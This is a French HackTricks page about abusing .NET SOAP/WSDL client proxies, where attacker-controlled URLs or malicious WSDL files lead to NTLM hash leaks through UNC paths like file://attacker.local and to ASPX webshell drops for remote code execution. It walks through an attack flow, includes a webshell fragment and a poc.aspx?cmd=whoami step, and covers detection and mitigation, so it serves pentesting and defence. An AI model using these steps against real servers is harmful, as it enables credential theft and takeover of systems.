Abus des proxies clients .NET SOAP/WSDL
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
TL;DR
SoapHttpClientProtocol,DiscoveryClientProtocolet consorts héritent deHttpWebClientProtocol, dontGetWebRequest()retourne l’instance agnostique au schemeWebRequestproduite parWebRequest.Create()sans forcerHttpWebRequest.- Si un attaquant contrôle le
Urldu proxy, le framework remplace silencieusement parFileWebRequest,FtpWebRequestou des handlers UNC/SMB, transformant des proxies “HTTP” en NTLM leak gadgets ou en outils d’écriture de fichiers arbitraires. - Toute fonctionnalité qui importe un WSDL fourni par l’attaquant via
ServiceDescriptionImporteraggrave le bug : le WSDL contrôle le constructeur du proxy généré, les méthodes SOAP, les types complexes et les espaces de noms, permettant des RCE pré-auth (webshells, script drops) dans des produits tels que Barracuda Service Center RMM, Ivanti EPM, Umbraco 8, PowerShell et SSIS.
Cause racine : HttpWebClientProtocol est agnostique au scheme
WebClientProtocol.GetWebRequest() fait var req = WebRequest.Create(uri) et retourne cet objet sans le modifier. HttpWebClientProtocol.GetWebRequest() tente req as HttpWebRequest pour définir des champs réservés à HTTP, mais il retourne toujours le req original même quand le cast échoue. Le runtime obéit donc au scheme présent dans Url :
http(s)://→HttpWebRequestfile:///ou\\host\share\→FileWebRequestftp://→FtpWebRequest
SoapHttpClientProtocol.Invoke() stream ensuite le corps POST SOAP via le handler de transport sélectionné, même si cela signifie écrire sur le disque ou via SMB.
Primitif 1 – Capture / relay NTLM via des cibles UNC
- Obtenir le contrôle de
SoapHttpClientProtocol.Url(setter direct, valeur de config, ligne en base, etc.). - Le pointer vers un chemin UNC comme
file://attacker.local/sink/payload. - Le CLR ouvre le chemin via SMB et effectue une authentification intégrée, leaking NTLM challenge/response to the attacker.
- Utiliser les hashes capturés pour du cracking offline ou du NTLM relay (SMB/HTTP) si signing/EPA ne sont pas présents.
Cela s’applique à tout chemin proxy .NET SOAP/HTTP acceptant une entrée utilisateur, même s’il n’y a pas d’autre vecteur d’exploitation apparent.
Primitif 2 – Écritures de fichiers arbitraires via file://
- Définir
Url = "file:///inetpub/wwwroot/poc.aspx"(ou tout chemin inscriptible) avant l’appel du proxy. - Invoquer n’importe quelle méthode SOAP ; le framework écrit l’ensemble de l’enveloppe SOAP dans le chemin choisi, écrasant les fichiers existants.
- Les arguments contrôlés par l’utilisateur apparaissent dans des éléments XML, permettant aux attaquants de déposer des payloads CSHTML/ASPX ou d’empoisonner des fichiers de config.
Limitations :
- Le contenu est toujours du XML ; les champs scalaires sont entity-encodés, donc injecter
<script>via des chaînes simples nécessite des techniques supplémentaires. - Des payloads exploitables requièrent au moins un argument influençable par l’attaquant ou la capacité de modifier la signature de la méthode (voir l’abus de WSDL).
Le runtime lance souvent Client found response content type of 'application/octet-stream', but expected 'text/xml' après l’écriture — traiter cette erreur comme un IOC.
Weaponisation des imports WSDL
Proxies auto-générés via ServiceDescriptionImporter
Beaucoup de produits exposent une fonctionnalité “custom web service” qui accepte une URL WSDL, puis :
ServiceDescription.Read()du WSDL contrôlé par l’attaquant.ServiceDescriptionImportergénère des classes proxy C# étendantSoapHttpClientProtocol.- CodeDOM compile le proxy et la reflection appelle la méthode demandée.
L’attaquant contrôle entièrement :
soap:address/soap12:addresslocation→ devientbase.Url(peut définirfile://ou des chemins UNC).- Les noms de méthode, listes de paramètres, types complexes et serializers.
- Les URI d’espaces de noms qui finissent en attributs
xmlns:*dans chaque message SOAP.
Aucune validation de scheme n’a lieu, donc chaque proxy généré hérite de la faille initiale.
Façonner l’enveloppe SOAP pour RCE
- Complex type serialization : Définir des structs personnalisés dans le WSDL de sorte que lorsque
XmlSerializerles réémet, ils produisent des noms/attributs d’éléments choisis par l’attaquant. Pour déposer une webshell ASPX, construire des types qui sérialisent en :
<script runat="server">
// payload pulling `Request.QueryString["cmd"]`
</script>
et pointer Url vers file:///.../webroot/shell.aspx pour obtenir une RCE.
- Namespace injection : Même quand les arguments sont codés en dur (par ex. Umbraco Forms), les namespaces déclarés dans le WSDL (ex.
xmlns:tns="http://host/service?x=@{...}") sont copiés tels quels dans l’enveloppe SOAP. Encoder des payloads dans la query string d’un namespace permet des drops CSHTML Razor ou PowerShell sans contrôle des paramètres.
Ces techniques ont alimenté l’exploit contre Barracuda Service Center RMM (CVE-2025-34392) : un appel SOAP non authentifié a fourni un WSDL malveillant, a défini soap12:address sur file:///Program Files/.../SCMessaging/poc.aspx, injecté <script runat="server"> via des paramètres complexes, et a uploadé une webshell exécutant des commandes cmd.exe arbitraires.
Déroulement typique d’une attaque
- Identifier une fonctionnalité acceptant une URL WSDL ou permettant de configurer des endpoints SOAP (ex. Barracuda
InvokeRemoteMethod, connecteurs Ivanti EPM, datasources Umbraco 8 Forms, PowerShellNew-WebServiceProxy). - Héberger un WSDL malveillant dont le
soap:addresspointe vers un chemin inscriptible ou un partage UNC et dont les schémas fournissent des méthodes/types adaptés au payload. - Déclencher l’import/compilation. La cible émet un DLL de proxy avec constructeur et méthodes contrôlés par l’attaquant.
- Quand l’application invoque la méthode générée, la requête SOAP est sérialisée et écrite dans le chemin spécifié par l’attaquant, embarquant le payload.
- Exécuter le fichier déposé (naviguer vers
poc.aspx?cmd=whoami, charger le CSHTML, ou laisser PowerShell exécuter le script) ou rejouer le matériel NTLM capturé.
Détection & chasse
- Analyse statique : Grepper pour
ServiceDescriptionImporter,SoapHttpClientProtocol,HttpWebClientProtocol, ouNew-WebServiceProxy. Tracer la provenance deUrlou des entrées WSDL — toute source contrôlée par l’utilisateur est un signal d’alerte. - Télémétrie runtime :
- Instrumenter la création des proxies pour logger les schemes ; alerter sur les valeurs
file,ftpou UNC. - Surveiller l’erreur caractéristique
Client found response content type of 'application/octet-stream'après des appels SOAP. - Surveiller des écritures inattendues
.aspx/.cshtml/.ps1sous les répertoires applicatifs effectuées par l’identité du service web.
- Instrumenter la création des proxies pour logger les schemes ; alerter sur les valeurs
- Signaux réseau/fichiers : connexions SMB initiées par des serveurs web vers l’infrastructure de l’attaquant, ou compilation soudaine de DLLs de proxy temporaires, précèdent souvent l’exploitation.
Mitigations
- Enforcer une validation du transport avant d’invoquer tout proxy dérivé de
HttpWebClientProtocol:
var uri = new Uri(proxy.Url);
if (uri.Scheme != Uri.UriSchemeHttp && uri.Scheme != Uri.UriSchemeHttps)
throw new InvalidOperationException("SOAP clients must stay on HTTP/S");
- Sanitize les WSDL importés : télécharger les proxies via un broker qui réécrit ou rejette les entrées
soap:addressnon HTTP/S, supprime les bindings inconnus, et interdit les tricks d’espace de noms porteurs de payload. - Désactiver les fonctionnalités WSDL non fiables : remplacer les commodités “upload a WSDL” par des templates serveur validés ou des allowlists.
- Séparer les emplacements d’écriture : s’assurer que les app pools ne peuvent pas écrire dans les répertoires exécutables ; utiliser des volumes séparés pour les données vs le code de sorte que les primitives d’écriture ne deviennent pas des RCE.
- Durcir l’exposition NTLM : désactiver SMB sortant quand c’est possible ; sinon appliquer SMB signing, EPA et autres mitigations contre le relay.
Références
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

